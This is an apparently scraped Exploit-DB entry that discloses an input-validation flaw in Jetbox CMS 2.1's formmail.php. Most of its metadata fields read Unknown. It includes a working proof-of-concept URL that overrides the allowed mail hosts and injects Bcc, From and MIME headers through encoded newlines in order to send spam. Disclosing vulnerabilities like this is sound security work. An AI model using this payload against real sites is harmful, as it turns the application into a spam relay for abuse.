Input-validation vulnerability in Jetbox CMS

vendor:

Jetbox CMS

by:

Unknown

N/A

CVSS

N/A

Input-validation

Unknown

CWE

Product Name: Jetbox CMS

Affected Version From: Jetbox 2.1

Affected Version To: Unknown

Patch Exists: Unknown

Related CWE: Unknown

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested: Unknown

Unknown

Input-validation vulnerability in Jetbox CMS

Attackers can exploit the input-validation vulnerability in Jetbox CMS to send spam emails in the context of the application.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/23989/info

Jetbox CMS is prone to an input-validation vulnerabilitiy because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to send spam email in the context of the application.

Jetbox 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide